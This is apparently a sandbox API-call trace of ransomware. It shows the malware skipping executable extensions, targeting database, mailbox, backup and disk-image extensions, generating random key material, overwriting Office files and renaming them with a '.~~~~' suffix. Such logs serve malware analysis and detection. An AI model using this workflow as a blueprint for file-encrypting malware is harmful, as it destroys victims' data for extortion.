	[0145.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".pif") returned 0x0
	[0145.690] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0145.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.692] lstrlenW (lpString=".sqb") returned 4
	[0145.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".sqb") returned 0x0
	[0145.692] lstrlenW (lpString=".ost") returned 4
	[0145.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".ost") returned 0x0
	[0145.692] lstrlenW (lpString=".txt") returned 4
	[0145.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".txt") returned 0x0
	[0145.692] lstrlenW (lpString=".mdt") returned 4
	[0145.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".mdt") returned 0x0
	[0145.692] lstrlenW (lpString=".BDB") returned 4
	[0145.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".BDB") returned 0x0
	[0145.692] lstrlenW (lpString=".eql") returned 4
	[0145.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".eql") returned 0x0
	[0145.692] lstrlenW (lpString=".DBF") returned 4
	[0145.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".DBF") returned 0x0
	[0145.692] lstrlenW (lpString=".EQL") returned 4
	[0145.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".EQL") returned 0x0
	[0145.692] lstrlenW (lpString=".FDB") returned 4
	[0145.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".FDB") returned 0x0
	[0145.692] lstrlenW (lpString=".EDB") returned 4
	[0145.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".EDB") returned 0x0
	[0145.692] lstrlenW (lpString=".DACPAC") returned 7
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".DACPAC") returned 0x0
	[0145.693] lstrlenW (lpString=".VHD") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".VHD") returned 0x0
	[0145.693] lstrlenW (lpString=".DBV") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".DBV") returned 0x0
	[0145.693] lstrlenW (lpString=".dacpac") returned 7
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".dacpac") returned 0x0
	[0145.693] lstrlenW (lpString=".sdf") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".sdf") returned 0x0
	[0145.693] lstrlenW (lpString=".accdb") returned 6
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".accdb") returned 0x0
	[0145.693] lstrlenW (lpString=".DBX") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".DBX") returned 0x0
	[0145.693] lstrlenW (lpString=".MDT") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".MDT") returned 0x0
	[0145.693] lstrlenW (lpString=".SQB") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".SQB") returned 0x0
	[0145.693] lstrlenW (lpString=".vhd") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".vhd") returned 0x0
	[0145.693] lstrlenW (lpString=".bac") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".bac") returned 0x0
	[0145.693] lstrlenW (lpString=".mdf") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".mdf") returned 0x0
	[0145.693] lstrlenW (lpString=".BAK") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".BAK") returned 0x0
	[0145.693] lstrlenW (lpString=".BAC") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".BAC") returned 0x0
	[0145.693] lstrlenW (lpString=".dbs") returned 4
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".dbs") returned 0x0
	[0145.693] lstrlenW (lpString=".vhdx") returned 5
	[0145.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".vhdx") returned 0x0
	[0145.694] lstrlenW (lpString=".NDF") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".NDF") returned 0x0
	[0145.694] lstrlenW (lpString=".dat") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".dat") returned 0x0
	[0145.694] lstrlenW (lpString=".DBS") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".DBS") returned 0x0
	[0145.694] lstrlenW (lpString=".CKP") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".CKP") returned 0x0
	[0145.694] lstrlenW (lpString=".edb") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".edb") returned 0x0
	[0145.694] lstrlenW (lpString=".PST") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".PST") returned 0x0
	[0145.694] lstrlenW (lpString=".dbf") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".dbf") returned 0x0
	[0145.694] lstrlenW (lpString=".SQL") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".SQL") returned 0x0
	[0145.694] lstrlenW (lpString=".pst") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".pst") returned 0x0
	[0145.694] lstrlenW (lpString=".dbv") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".dbv") returned 0x0
	[0145.694] lstrlenW (lpString=".SDF") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".SDF") returned 0x0
	[0145.694] lstrlenW (lpString=".dtxs") returned 5
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".dtxs") returned 0x0
	[0145.694] lstrlenW (lpString=".db3") returned 4
	[0145.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".db3") returned 0x0
	[0145.695] lstrlenW (lpString=".OST") returned 4
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".OST") returned 0x0
	[0145.695] lstrlenW (lpString=".dbx") returned 4
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".dbx") returned 0x0
	[0145.695] lstrlenW (lpString=".DB3") returned 4
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".DB3") returned 0x0
	[0145.695] lstrlenW (lpString=".DAT") returned 4
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".DAT") returned 0x0
	[0145.695] lstrlenW (lpString=".VHDX") returned 5
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".VHDX") returned 0x0
	[0145.695] lstrlenW (lpString=".ndf") returned 4
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".ndf") returned 0x0
	[0145.695] lstrlenW (lpString=".DB") returned 3
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".DB") returned 0x0
	[0145.695] lstrlenW (lpString=".sql") returned 4
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".sql") returned 0x0
	[0145.695] lstrlenW (lpString=".MYD") returned 4
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".MYD") returned 0x0
	[0145.695] lstrlenW (lpString=".DBT") returned 4
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".DBT") returned 0x0
	[0145.695] lstrlenW (lpString=".ACCDB") returned 6
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".ACCDB") returned 0x0
	[0145.695] lstrlenW (lpString=".fdb") returned 4
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".fdb") returned 0x0
	[0145.695] lstrlenW (lpString=".bak") returned 4
	[0145.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".bak") returned 0x0
	[0145.695] lstrlenW (lpString=".myd") returned 4
	[0145.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".myd") returned 0x0
	[0145.696] lstrlenW (lpString=".DTXS") returned 5
	[0145.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".DTXS") returned 0x0
	[0145.696] lstrlenW (lpString=".ckp") returned 4
	[0145.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".ckp") returned 0x0
	[0145.696] lstrlenW (lpString=".dbt") returned 4
	[0145.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".dbt") returned 0x0
	[0145.696] lstrlenW (lpString=".db") returned 3
	[0145.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".db") returned 0x0
	[0145.696] lstrlenW (lpString=".TXT") returned 4
	[0145.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".TXT") returned 0x0
	[0145.696] lstrlenW (lpString=".MDF") returned 4
	[0145.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".MDF") returned 0x0
	[0145.696] lstrlenW (lpString=".bdb") returned 4
	[0145.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".bdb") returned 0x0
	[0145.696] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0145.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.696] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3956b8) returned 1
	[0145.697] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.697] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0145.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0145.698] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26568793160) returned 1
	[0145.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0408570, dwHighDateTime=0x1d60e1e)) 
	[0145.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0145.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0145.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0145.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380158
	[0145.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380158 | out: hHeap=0x300000) returned 1
	[0145.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0210
	[0145.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7090
	[0145.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.698] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0145.699] GetLastError () returned 0x0
	[0145.699] GetLastError () returned 0x0
	[0145.699] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0145.699] GetLastError () returned 0x0
	[0145.699] GetLastError () returned 0x0
	[0145.699] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.703] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.704] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.704] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.704] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.706] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.706] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.707] CloseHandle (hObject=0x10c) returned 1
	[0145.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6e30
	[0145.707] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll.~~~~")) returned 1
	[0145.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6e30 | out: hHeap=0x300000) returned 1
	[0145.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0145.710] GetLastError () returned 0x0
	[0145.710] RtlWakeConditionVariable () returned 0x0
	[0145.710] GetCurrentThreadId () returned 0xaf0
	[0145.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".scr") returned 0x0
	[0145.710] lstrlenW (lpString=".cmd") returned 4
	[0145.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".cmd") returned 0x0
	[0145.710] lstrlenW (lpString=".dll") returned 4
	[0145.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".dll") returned 0x0
	[0145.710] lstrlenW (lpString=".bat") returned 4
	[0145.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".bat") returned 0x0
	[0145.710] lstrlenW (lpString=".cpl") returned 4
	[0145.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".cpl") returned 0x0
	[0145.710] lstrlenW (lpString=".sys") returned 4
	[0145.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".sys") returned 0x0
	[0145.710] lstrlenW (lpString=".msc") returned 4
	[0145.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".msc") returned 0x0
	[0145.710] lstrlenW (lpString=".com") returned 4
	[0145.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".com") returned 0x0
	[0145.710] lstrlenW (lpString=".lnk") returned 4
	[0145.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".lnk") returned 0x0
	[0145.710] lstrlenW (lpString=".msp") returned 4
	[0145.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".msp") returned 0x0
	[0145.711] lstrlenW (lpString=".pif") returned 4
	[0145.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".pif") returned 0x0
	[0145.711] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0145.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.714] lstrlenW (lpString=".sqb") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".sqb") returned 0x0
	[0145.714] lstrlenW (lpString=".ost") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".ost") returned 0x0
	[0145.714] lstrlenW (lpString=".txt") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".txt") returned 0x0
	[0145.714] lstrlenW (lpString=".mdt") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".mdt") returned 0x0
	[0145.714] lstrlenW (lpString=".BDB") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".BDB") returned 0x0
	[0145.714] lstrlenW (lpString=".eql") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".eql") returned 0x0
	[0145.714] lstrlenW (lpString=".DBF") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".DBF") returned 0x0
	[0145.714] lstrlenW (lpString=".EQL") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".EQL") returned 0x0
	[0145.714] lstrlenW (lpString=".FDB") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".FDB") returned 0x0
	[0145.714] lstrlenW (lpString=".EDB") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".EDB") returned 0x0
	[0145.714] lstrlenW (lpString=".DACPAC") returned 7
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".DACPAC") returned 0x0
	[0145.714] lstrlenW (lpString=".VHD") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".VHD") returned 0x0
	[0145.714] lstrlenW (lpString=".DBV") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".DBV") returned 0x0
	[0145.714] lstrlenW (lpString=".dacpac") returned 7
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".dacpac") returned 0x0
	[0145.714] lstrlenW (lpString=".sdf") returned 4
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".sdf") returned 0x0
	[0145.714] lstrlenW (lpString=".accdb") returned 6
	[0145.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".accdb") returned 0x0
	[0145.714] lstrlenW (lpString=".DBX") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".DBX") returned 0x0
	[0145.715] lstrlenW (lpString=".MDT") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".MDT") returned 0x0
	[0145.715] lstrlenW (lpString=".SQB") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".SQB") returned 0x0
	[0145.715] lstrlenW (lpString=".vhd") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".vhd") returned 0x0
	[0145.715] lstrlenW (lpString=".bac") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".bac") returned 0x0
	[0145.715] lstrlenW (lpString=".mdf") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".mdf") returned 0x0
	[0145.715] lstrlenW (lpString=".BAK") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".BAK") returned 0x0
	[0145.715] lstrlenW (lpString=".BAC") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".BAC") returned 0x0
	[0145.715] lstrlenW (lpString=".dbs") returned 4
